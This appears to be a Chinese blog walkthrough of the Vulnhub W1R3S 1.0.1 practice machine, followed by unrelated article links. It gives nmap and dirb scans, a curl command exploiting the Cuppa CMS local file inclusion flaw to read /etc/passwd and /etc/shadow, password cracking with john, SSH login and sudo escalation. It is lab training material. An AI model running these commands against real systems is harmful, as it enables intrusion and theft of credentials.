Vulhub W1R3S: 1.0.1靶机详解

项目地址

plain 复制代码
https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

实验过程

开启靶机虚拟机

使用nmap进行主机发现,获取靶机IP地址

plain 复制代码
nmap 192.168.47.1-254

根据对比可知W1R3S: 1.0.1的一个ip地址为192.168.47.172

扫描W1R3S: 1.0.1的操作系统,端口及对应服务

plain 复制代码
nmap -A -p- 192.168.47.172

发现该靶机开放了21,22,80,3306端口

目录扫描

plain 复制代码
dirb http://192.168.47.172

获取shell

访问网站

拼接访问目录扫描出的目录/administrator

这是一个数据库的安装创建,但不知道密码和数据库名

观察网页标题为Cuppa CMS

搜索一下它的历史漏洞

plain 复制代码
searchsploit cuppa
plain 复制代码
searchsploit -m php/webapps/25971.txt

文件中描述说,/alerts/alertConfigField.php文件urlConfig 参数存在 LFI 漏洞,可以利用特殊的 url ,查看本地文件

在网页上面进行尝试访问,发现没有回显结果

用curl 尝试看可不可以下载下来

plain 复制代码
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.47.172/administrator/alerts/alertConfigField.php

在文件中发现了 w1r3s 用户,用同样的方法获得存密码的shadow文件试试,发现了 rootwww-dataw1r3s用户的密码

plain 复制代码
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.47.172/administrator/alerts/alertConfigField.php

将密码存到一个文件中进行爆破

plain 复制代码
vim password.txt
cat password.txt
plain 复制代码
john password.txt

使用ssh进行远程连接,发现w1r3s用户连接成功

plain 复制代码
ssh w1r3s@192.168.47.172

提权

查看可执行的命令

plain 复制代码
sudo -l

发现是ALL

直接sudo su提权

提权成功

相关推荐
我只会Traceroute18 分钟前
域1:安全与风险管理 第2章-人员安全与风险管理
网络·网络安全·cissp认证
科技探秘人18 分钟前
如何选择安全的谷歌浏览器插件
网络·安全
域智盾软件26 分钟前
【新手小白都能看懂!】电脑怎么禁用软件?这5个方法速成!
网络
前端开发小司机1 小时前
身为程序员的你,卷到最后剩下了什么?35岁从互联网大厂程序员转行成为一名网络安全工程师的心路历程
网络·数据库·计算机网络·安全·web安全·网络安全·系统安全
IpdataCloud1 小时前
网络安全 IP地址防泄漏指南
网络·安全·web安全
Hcoco_me2 小时前
密码学科普
服务器·网络·密码学
goTsHgo4 小时前
HTTP长连接和短连接 简介
网络·网络协议·http
三玖诶4 小时前
第三弹:探索网络传输中的TFTP、UDP广播与多播技术
网络·网络协议·udp·tftp
ZachOn1y4 小时前
计算机网络:数据链路层 —— 可靠传输服务
网络·计算机网络·滑动窗口·数据链路层·可靠传输·超时重传